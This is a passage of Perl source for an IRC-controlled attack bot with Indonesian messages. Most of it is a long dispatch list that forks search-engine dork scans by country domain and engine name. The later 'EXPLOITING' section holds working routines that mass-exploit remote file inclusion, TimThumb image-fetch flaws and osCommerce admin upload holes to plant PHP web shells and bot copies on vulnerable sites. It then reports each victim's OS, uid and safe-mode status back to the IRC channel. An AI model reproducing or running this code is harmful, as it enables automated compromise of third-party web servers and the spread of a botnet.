if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type,$nick); } exit; } }
if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type,$nick); } exit; } }
if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type,$nick); } exit; } }
if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type,$nick); } exit; } }
if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WS",$type,$nick); } exit; } }
if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AF",$type,$nick); } exit; } }
if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AX",$type,$nick); } exit; } }
if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type,$nick); } exit; } }
if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DZ",$type,$nick); } exit; } }
if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AO",$type,$nick); } exit; } }
if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AQ",$type,$nick); } exit; } }
if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type,$nick); } exit; } }
if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AW",$type,$nick); } exit; } }
if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AC",$type,$nick); } exit; } }
if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BJ",$type,$nick); } exit; } }
if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BM",$type,$nick); } exit; } }
if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BT",$type,$nick); } exit; } }
if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IO",$type,$nick); } exit; } }
if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BN",$type,$nick); } exit; } }
if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BF",$type,$nick); } exit; } }
if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KH",$type,$nick); } exit; } }
if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CM",$type,$nick); } exit; } }
if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CV",$type,$nick); } exit; } }
if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type,$nick); } exit; } }
if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CF",$type,$nick); } exit; } }
if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CX",$type,$nick); } exit; } }
if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CW",$type,$nick); } exit; } }
if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type,$nick); } exit; } }
if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FK",$type,$nick); } exit; } }
if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FO",$type,$nick); } exit; } }
if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GH",$type,$nick); } exit; } }
if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GD",$type,$nick); } exit; } }
if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GP",$type,$nick); } exit; } }
if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GU",$type,$nick); } exit; } }
if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GN",$type,$nick); } exit; } }
if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GY",$type,$nick); } exit; } }
if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HM",$type,$nick); } exit; } }
if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IQ",$type,$nick); } exit; } }
if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JM",$type,$nick); } exit; } }
if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KI",$type,$nick); } exit; } }
if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KW",$type,$nick); } exit; } }
if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type,$nick); } exit; } }
if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LB",$type,$nick); } exit; } }
if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LR",$type,$nick); } exit; } }
if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MO",$type,$nick); } exit; } }
if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MG",$type,$nick); } exit; } }
if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MV",$type,$nick); } exit; } }
if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MP",$type,$nick); } exit; } }
if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MQ",$type,$nick); } exit; } }
if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MR",$type,$nick); } exit; } }
if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YT",$type,$nick); } exit; } }
if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type,$nick); } exit; } }
if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MC",$type,$nick); } exit; } }
if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type,$nick); } exit; } }
if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type,$nick); } exit; } }
if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NR",$type,$nick); } exit; } }
if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NC",$type,$nick); } exit; } }
if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type,$nick); } exit; } }
if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type,$nick); } exit; } }
if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PW",$type,$nick); } exit; } }
if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PS",$type,$nick); } exit; } }
if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CQ",$type,$nick); } exit; } }
if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RE",$type,$nick); } exit; } }
if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LC",$type,$nick); } exit; } }
if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type,$nick); } exit; } }
if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ST",$type,$nick); } exit; } }
if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type,$nick); } exit; } }
if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GS",$type,$nick); } exit; } }
if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SL",$type,$nick); } exit; } }
if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SX",$type,$nick); } exit; } }
if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SB",$type,$nick); } exit; } }
if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SO",$type,$nick); } exit; } }
if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type,$nick); } exit; } }
if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KN",$type,$nick); } exit; } }
if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SR",$type,$nick); } exit; } }
if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type,$nick); } exit; } }
if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TL",$type,$nick); } exit; } }
if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TG",$type,$nick); } exit; } }
if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type,$nick); } exit; } }
if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type,$nick); } exit; } }
if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TC",$type,$nick); } exit; } }
if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VU",$type,$nick); } exit; } }
if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WF",$type,$nick); } exit; } }
if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type,$nick); } exit; } }
if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZW",$type,$nick); } exit; } }
if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type,$nick); } exit; } }
if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type,$nick); } exit; } }
if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR",$type,$nick); } exit; } }
if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Quint",$type,$nick); } exit; } }
if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type,$nick); } exit; } }
if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type,$nick); } exit; } }
if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ask2",$type,$nick); } exit; } }
if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type,$nick); } exit; } }
if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick); } exit; } }
if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick); } exit; } }
if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type,$nick); } exit; } }
if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type,$nick); } exit; } }
if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type,$nick); } exit; } }
if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type,$nick); } exit; } }
if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type,$nick); } exit; } }
if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick); } exit; } }
if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick); } exit; } }
if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"webcrawler",$type,$nick); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"clusty",$type,$nick); } exit; } }
if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"witch",$type,$nick); } exit; } }
if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"amidalla",$type,$nick); } exit; } }
if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gibla",$type,$nick); } exit; } }
if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mywebsearch",$type,$nick); } exit; } }
if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dogpile",$type,$nick); } exit; } }
if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"infocom",$type,$nick); } exit; } }
if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchcom",$type,$nick); } exit; } }
if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"teoma",$type,$nick); } exit; } }
if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"volunia",$type,$nick); } exit; } }
if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"izito",$type,$nick); } exit; } }
if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"onyet",$type,$nick); } exit; } }
if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"askom",$type,$nick); } exit; } }
if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"becak",$type,$nick); } exit; } }
if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bokep",$type,$nick); } exit; } }
if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchnz",$type,$nick); } exit; } }
if ($engine =~ /baidu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BaiDu",$type,$nick); } exit; } }
}
###### EXPLOITING #######
sub zero_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $nick = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$rfilogo4,1$engine0,1 Selesai gan..."); }
my $coba = "http://".$site.$bug."test??";
my $test = "http://".$site.$bug.$injectorrfi."??";
my $dor = "http://".$site.$bug.$botshellrfi."??";
my $dor2 = "http://".$site.$bug.$botshellrfi2."??";
my $cek = &get_content($coba);sleep(1);
&get_content($dor);sleep(1);
&get_content($dor2);sleep(1);
if ($cek =~ /failed to open stream/i) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
&rfi_xpl($test,$chan,$site);
exit;}
}
}
}
}
}
sub rfi_xpl() {
my $url = $_[0];
my $chan = $_[1];
my $site = $_[2];
my $dor = $url.$botshellrfi."??";
my $dor2 = $url.$botshellrfi2."??";
my $test = $url.$injectorrfi."??";
my $vuln = $url." 4,1(0,1*4,1FULLMAGIC0,1*4,1)";
my $check = &get_content($test);
&get_content($dor);sleep(1);
&get_content($dor2);sleep(1);
if ( $check =~ /BArNEr/i ) {
my $safe ="";
my $os ="";
my $id ="";
if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;}
if ($check =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
&msg("$chan","$rfilogo(4,1@0,1VuLn4,1)0,1 Target send to $nick (4,1@0,1OS= $os4,1)(0,1@4,1id= $id9)(4,1@0,1safemode $safe4,1)");
&msg("$nick","$rfilogo(4,1@0,1VuLn4,1)0,1 ".$vuln."4,1(0,1@4,1SafeMode= $safe0,1)(4,1@0,1OS= $os4,1)(0,1@$id9)");
&msg("$admin","$rfilogo(4,1@0,1VuLn4,1)0,1 ".$vuln."4,1(0,1@4,1SafeMode= $safe0,1)(4,1@0,1OS= $os4,1)(0,1@$id9)");
}
else {&msg("$chan","$rfilogo(4,1@0,1VuLn4,1)0,1 ".$vuln." (4,1@0,1safemode-on4,1)");}
}
sub thumb_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $nick = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$thumblogo4,1$engine0,1 Searching..."); }
my $vuln = "http://".$site.$bug."?src=".$timid;
my $vulnx = "http://".$site.$bug."?src=".$timidx;
my $vulnxx = "http://".$site.$bug."?src=".$timid3;
if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
my @nbug = split(/\//,$bug);
my $cek = &get_content($vuln);sleep(1);
my $cekx = &get_content($vulnx);sleep(1);
if ($cek =~ /Unable to open image.(.*?)$nbug[0](.*?)$md5php/i){
if ($cekx =~ /Unable to open image.(.*?)$nbug[0](.*?)$md5cps/i){
&msg("$chan","$thumblogo(4,1$engine0,1)4,1 http://$site "); sleep(2);
my $pdir = $2;
if ($spreadMode == 1) { &get_content($vulnxx);sleep(1); }
my $crut = "http://".$site.$nbug[0].$pdir.$md5php;
my $crutx = "http://".$site.$nbug[0].$pdir.$md5cps;
my $botx = "http://".$site.$nbug[0].$pdir.$md5bot;
my $npath = "http://".$site."/wp-includes/wp-info.php";
my $check = &get_content($crut."?clone");sleep(1);&get_content($crutx);sleep(1);&get_content($botx);sleep(1);
if ($check =~ /Arhy-4ntCrew/i){
my $crot = &get_content($npath);sleep(1);
if ($crot =~ /Arhy-4ntCrew/i){
&os($npath,$chan,$engine,$thumblogo,$nick);
} else {
&os2($crut,$chan,$engine,$thumblogo,$nick); } } } } exit;
}
}
}
}
sub osco2_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $nick = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$oscologo 4,1$engine Selesai"); }
my $osc = "http://".$site."admin/categories.php/login.php";
my $osc2 = "http://".$site."admin/file_manager.php/login.php";
my $osc3 = "http://".$site."admin/banner_manager.php/login.php";
my $oshell = "http://".$site."images/.htaccess";
my $oshells = "http://".$site."images/version.php";
my $barner = "http://".$site."images/banners.php";
my $barner2 = "http://".$site."images/user.php";
my $barner3 = "http://".$site."images/mailer.php";
my $barner4 = "http://".$site."images/.images.php";
my $magic = "full://".$site."images/version.php?x=anonymous";
my $oscx = &get_content($osc);
my $oscy = &get_content($osc2);
my $oscz = &get_content($osc3);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if ($oscx =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
my $oscox = LWP::UserAgent->new;
my $res = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./tongue.gif' => '.htaccess' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
my $resx = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./smile.gif' => 'version.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx->as_string;
my $resx2 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./sad.gif' => 'banners.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx2->as_string;
my $resx3 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./sadow.gif' => 'user.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx3->as_string;
my $resx4 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./mailer.gif' => 'mailer.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx4->as_string;
my $resx5 = $oscox->post($osc."?cPath=&action=new_product_preview",['products_image' => ['./scam.gif' => '.images.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resx5->as_string;
&get_content($oshell);&get_content($barner);&get_content($barner2);&get_content($barner3);&get_content($barner4);sleep(3);
my $xxx = &get_content($oshells);
if ($xxx =~ /PHP Version/) {
my $os = "";
if ($xxx =~ m/System <\/td>